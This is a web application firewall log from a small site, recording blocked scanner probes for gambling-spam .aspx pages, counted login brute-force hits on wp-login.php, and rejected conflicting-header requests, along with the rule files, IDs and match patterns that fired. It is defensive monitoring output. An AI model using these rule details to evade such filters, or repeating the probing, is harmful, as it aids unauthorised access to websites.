[Sat Mar 21 15:53:46.073862 2026] [:error] [pid 43052:tid 43071] [client 54.37.252.59:56186] [client 54.37.252.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20game%20666.aspx"] [unique_id "ab5Oil5fjm-AiInC1hKqIAAAA5E"]
[Sat Mar 21 15:53:48.390577 2026] [:error] [pid 1489:tid 1525] [client 54.37.252.59:56194] [client 54.37.252.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20joker.aspx"] [unique_id "ab5OjFRvnvBO_DG9kxuy7gAAABU"]
[Sat Mar 21 15:54:25.798396 2026] [:error] [pid 43052:tid 43078] [client 54.37.252.59:56200] [client 54.37.252.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/spg%20slot.aspx"] [unique_id "ab5OsV5fjm-AiInC1hKqWgAAA5g"]
[Sat Mar 21 15:54:27.587313 2026] [:error] [pid 33678:tid 33686] [client 54.37.252.59:36288] [client 54.37.252.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/spx%20slot.aspx"] [unique_id "ab5OszuClB_om73sXhdNsQAAAgY"]
[Sat Mar 21 15:54:29.635540 2026] [:error] [pid 43052:tid 43072] [client 54.37.252.59:36298] [client 54.37.252.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/super%20pg%201688.aspx"] [unique_id "ab5OtV5fjm-AiInC1hKqbwAAA5I"]
[Sat Mar 21 15:54:32.084988 2026] [:error] [pid 49170:tid 49188] [client 54.37.252.59:36308] [client 54.37.252.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/super%20slot.aspx"] [unique_id "ab5OuL1KUC-QISS0eWqSHwAAARA"]
[Sat Mar 21 15:54:34.339809 2026] [:error] [pid 1489:tid 1518] [client 54.37.252.59:53644] [client 54.37.252.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "ab5OulRvnvBO_DG9kxuzRAAAAA4"]
[Sat Mar 21 15:54:36.415461 2026] [:error] [pid 33584:tid 33609] [client 54.37.252.59:53654] [client 54.37.252.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20vip.aspx"] [unique_id "ab5OvOATEQBBo5z2Hkl0yQAAAdc"]
[Sat Mar 21 15:54:38.372614 2026] [:error] [pid 1490:tid 1546] [client 54.37.252.59:53668] [client 54.37.252.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "ab5OvmSWhIPTatyxDeAW6wAAAEs"]
[Sat Mar 21 15:54:40.584168 2026] [:error] [pid 33678:tid 33688] [client 54.37.252.59:53678] [client 54.37.252.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20wallet.aspx"] [unique_id "ab5OwDuClB_om73sXhdNtwAAAgg"]
[Sat Mar 21 15:54:42.548813 2026] [:error] [pid 49170:tid 49181] [client 54.37.252.59:53682] [client 54.37.252.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot168%20wallet.aspx"] [unique_id "ab5Owr1KUC-QISS0eWqSJwAAAQk"]
[Sat Mar 21 15:54:44.570782 2026] [:error] [pid 43052:tid 43076] [client 54.37.252.59:44326] [client 54.37.252.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20168.aspx"] [unique_id "ab5OxF5fjm-AiInC1hKqgQAAA5Y"]
[Sat Mar 21 15:54:46.674068 2026] [:error] [pid 43052:tid 43056] [client 54.37.252.59:44340] [client 54.37.252.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20c4.aspx"] [unique_id "ab5Oxl5fjm-AiInC1hKqgwAAA4I"]
[Sat Mar 21 15:54:48.626430 2026] [:error] [pid 43052:tid 43064] [client 54.37.252.59:44350] [client 54.37.252.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20sa.aspx"] [unique_id "ab5OyF5fjm-AiInC1hKqiwAAA4o"]
[Sat Mar 21 15:54:50.505708 2026] [:error] [pid 1490:tid 1554] [client 54.37.252.59:44366] [client 54.37.252.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20slot.aspx"] [unique_id "ab5OymSWhIPTatyxDeAW_AAAAFM"]
[Sat Mar 21 15:54:52.402308 2026] [:error] [pid 1489:tid 1520] [client 54.37.252.59:44376] [client 54.37.252.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20vip.aspx"] [unique_id "ab5OzFRvnvBO_DG9kxuzVQAAABA"]
[Sat Mar 21 15:54:54.276262 2026] [:error] [pid 1491:tid 1567] [client 54.37.252.59:39550] [client 54.37.252.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "ab5Ozq3VfHftzE9w9t47XgAAAIQ"]
[Sat Mar 21 15:54:56.308866 2026] [:error] [pid 1490:tid 1550] [client 54.37.252.59:39560] [client 54.37.252.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20wallet.aspx"] [unique_id "ab5O0GSWhIPTatyxDeAXBgAAAE8"]
[Sat Mar 21 15:54:58.137041 2026] [:error] [pid 43052:tid 43058] [client 54.37.252.59:39562] [client 54.37.252.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20100.aspx"] [unique_id "ab5O0l5fjm-AiInC1hKqlAAAA4Q"]
[Sat Mar 21 15:55:00.063898 2026] [:error] [pid 43052:tid 43077] [client 54.37.252.59:39566] [client 54.37.252.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%201668.aspx"] [unique_id "ab5O1F5fjm-AiInC1hKqogAAA5c"]
[Sat Mar 21 15:55:02.058627 2026] [:error] [pid 1491:tid 1584] [client 54.37.252.59:39568] [client 54.37.252.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%207777.aspx"] [unique_id "ab5O1q3VfHftzE9w9t47aQAAAJQ"]
[Sat Mar 21 15:55:04.089945 2026] [:error] [pid 1489:tid 1520] [client 54.37.252.59:39570] [client 54.37.252.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "ab5O2FRvnvBO_DG9kxuzXQAAABA"]
[Sat Mar 21 15:55:05.990756 2026] [:error] [pid 1489:tid 1525] [client 54.37.252.59:56434] [client 54.37.252.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20auto.aspx"] [unique_id "ab5O2VRvnvBO_DG9kxuzZwAAABU"]
[Sat Mar 21 15:55:07.905654 2026] [:error] [pid 1490:tid 1533] [client 54.37.252.59:56444] [client 54.37.252.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20net.aspx"] [unique_id "ab5O22SWhIPTatyxDeAXEQAAAEE"]
[Sat Mar 21 15:55:10.032360 2026] [:error] [pid 1489:tid 1521] [client 54.37.252.59:56456] [client 54.37.252.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "ab5O3lRvnvBO_DG9kxuzbgAAABE"]
[Sat Mar 21 15:55:12.193302 2026] [:error] [pid 1489:tid 1527] [client 54.37.252.59:56472] [client 54.37.252.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20wallet.aspx"] [unique_id "ab5O4FRvnvBO_DG9kxuzcwAAABc"]
[Sat Mar 21 15:55:14.191955 2026] [:error] [pid 33678:tid 33691] [client 54.37.252.59:44440] [client 54.37.252.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/w69%20slot.aspx"] [unique_id "ab5O4juClB_om73sXhdNxQAAAgs"]
[Sat Mar 21 15:55:15.978168 2026] [:error] [pid 42886:tid 42893] [client 54.37.252.59:44452] [client 54.37.252.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wallet%20slot.aspx"] [unique_id "ab5O41452dC6nbNWav1FNwAAAwU"]
[Sat Mar 21 15:55:18.542516 2026] [:error] [pid 49170:tid 49185] [client 54.37.252.59:44460] [client 54.37.252.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/we88%20slot.aspx"] [unique_id "ab5O5r1KUC-QISS0eWqSOQAAAQ0"]
[Sat Mar 21 15:55:20.555328 2026] [:error] [pid 49170:tid 49193] [client 54.37.252.59:44464] [client 54.37.252.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/www%20ufabet%20com.aspx"] [unique_id "ab5O6L1KUC-QISS0eWqSPgAAARU"]
[Sat Mar 21 15:57:29.603056 2026] [:error] [pid 1489:tid 1521] [client 173.239.218.137:32731] [client 173.239.218.137] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.218.137, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ab5PaVRvnvBO_DG9kxu0LQAAABE"]
[Sat Mar 21 15:57:29.603163 2026] [:error] [pid 49170:tid 49188] [client 216.24.210.221:61869] [client 216.24.210.221] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 216.24.210.221, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ab5Pab1KUC-QISS0eWqSmwAAARA"]
[Sat Mar 21 16:26:06.075040 2026] [:error] [pid 1489:tid 1518] [client 106.227.49.113:36969] [client 106.227.49.113] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "ab5WHlRvnvBO_DG9kxu9DQAAAA4"]
[Sat Mar 21 16:28:14.828498 2026] [:error] [pid 1490:tid 1542] [client 173.239.218.146:21133] [client 173.239.218.146] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.218.146, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ab5WnmSWhIPTatyxDeAfSwAAAEc"]
[Sat Mar 21 16:28:14.828827 2026] [:error] [pid 1490:tid 1543] [client 216.24.210.200:65193] [client 216.24.210.200] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 216.24.210.200, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ab5WnmSWhIPTatyxDeAfTAAAAEg"]
[Sat Mar 21 16:59:13.559972 2026] [:error] [pid 1489:tid 1525] [client 173.239.218.132:24391] [client 173.239.218.132] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.218.132, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ab5d4VRvnvBO_DG9kxvKBwAAABU"]
[Sat Mar 21 16:59:13.560112 2026] [:error] [pid 33584:tid 33599] [client 216.24.210.208:37815] [client 216.24.210.208] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 216.24.210.208, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ab5d4eATEQBBo5z2Hkl-OAAAAc0"]
[Sat Mar 21 17:30:08.132907 2026] [:error] [pid 1489:tid 1528] [client 173.239.218.132:56975] [client 173.239.218.132] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.218.132, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ab5lIFRvnvBO_DG9kxvWDAAAABg"]
[Sat Mar 21 17:30:08.133048 2026] [:error] [pid 33456:tid 33459] [client 173.239.218.146:55469] [client 173.239.218.146] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.218.146, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ab5lIA-0Ziq_OzjHFfUibwAAAYE"]
[Sat Mar 21 18:00:32.252002 2026] [:error] [pid 42886:tid 42909] [client 216.24.210.203:37181] [client 216.24.210.203] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 216.24.210.203, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ab5sQF452dC6nbNWav1fRQAAAxU"]
[Sat Mar 21 18:00:32.251959 2026] [:error] [pid 42886:tid 42904] [client 173.239.218.131:41789] [client 173.239.218.131] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.218.131, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ab5sQF452dC6nbNWav1fRgAAAxA"]
[Sat Mar 21 18:20:34.986937 2026] [:error] [pid 49170:tid 49194] [client 216.24.210.217:58167] [client 216.24.210.217] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 216.24.210.217, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ab5w8r1KUC-QISS0eWqyoQAAARY"]
[Sat Mar 21 18:20:34.987231 2026] [:error] [pid 49170:tid 49189] [client 98.159.37.225:46181] [client 98.159.37.225] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 98.159.37.225, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ab5w8r1KUC-QISS0eWqyogAAARE"]
[Sat Mar 21 18:41:33.825085 2026] [:error] [pid 49170:tid 49176] [client 43.134.141.244:58680] [client 43.134.141.244] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "ab513b1KUC-QISS0eWq7lQAAAQQ"]
[Sat Mar 21 18:48:03.690512 2026] [:error] [pid 1489:tid 1521] [client 173.239.218.134:59771] [client 173.239.218.134] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.218.134, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ab53Y1RvnvBO_DG9kxvsFwAAABE"]
[Sat Mar 21 18:48:03.690813 2026] [:error] [pid 1489:tid 1505] [client 216.24.210.222:30945] [client 216.24.210.222] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 216.24.210.222, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ab53Y1RvnvBO_DG9kxvsGAAAAAI"]
[Sat Mar 21 19:19:26.371119 2026] [:error] [pid 1489:tid 1503] [client 173.239.218.142:60243] [client 173.239.218.142] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.218.142, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ab5-vlRvnvBO_DG9kxv0TAAAAAA"]
[Sat Mar 21 19:19:26.371119 2026] [:error] [pid 1489:tid 1520] [client 216.24.210.219:28251] [client 216.24.210.219] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 216.24.210.219, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ab5-vlRvnvBO_DG9kxv0SwAAABA"]
[Sat Mar 21 19:50:30.844620 2026] [:error] [pid 49170:tid 49173] [client 173.239.218.127:38773] [client 173.239.218.127] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.218.127, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ab6GBr1KUC-QISS0eWrbzwAAAQE"]
[Sat Mar 21 19:50:30.844616 2026] [:error] [pid 33584:tid 33597] [client 173.239.218.146:37077] [client 173.239.218.146] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.218.146, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ab6GBuATEQBBo5z2HkmVAQAAAcs"]
[Sat Mar 21 19:51:26.572974 2026] [:error] [pid 1489:tid 1526] [client 43.135.135.57:39946] [client 43.135.135.57] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "ab6GPlRvnvBO_DG9kxv8EQAAABY"]
[Sat Mar 21 20:21:32.944850 2026] [:error] [pid 1489:tid 1520] [client 173.239.218.134:29193] [client 173.239.218.134] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.218.134, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ab6NTFRvnvBO_DG9kxsE-gAAABA"]
[Sat Mar 21 20:21:32.945326 2026] [:error] [pid 1489:tid 1513] [client 216.24.210.209:45747] [client 216.24.210.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 216.24.210.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ab6NTFRvnvBO_DG9kxsE-wAAAAk"]
[Sat Mar 21 20:52:25.770779 2026] [:error] [pid 49170:tid 49186] [client 216.24.210.217:34383] [client 216.24.210.217] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 216.24.210.217, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ab6Uib1KUC-QISS0eWr_EAAAAQ4"]
[Sat Mar 21 20:52:25.852131 2026] [:error] [pid 49170:tid 49180] [client 216.24.210.217:20943] [client 216.24.210.217] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 216.24.210.217, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ab6Uib1KUC-QISS0eWr_EQAAAQg"]
[Sat Mar 21 21:23:34.094847 2026] [:error] [pid 1490:tid 1559] [client 216.24.210.193:44147] [client 216.24.210.193] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 216.24.210.193, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ab6b1mSWhIPTatyxDeBjRgAAAFc"]
